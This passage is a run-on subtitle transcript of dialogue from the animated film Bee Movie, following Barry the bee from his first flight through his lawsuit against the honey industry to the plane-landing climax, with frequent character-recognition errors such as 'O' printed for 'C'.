slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. 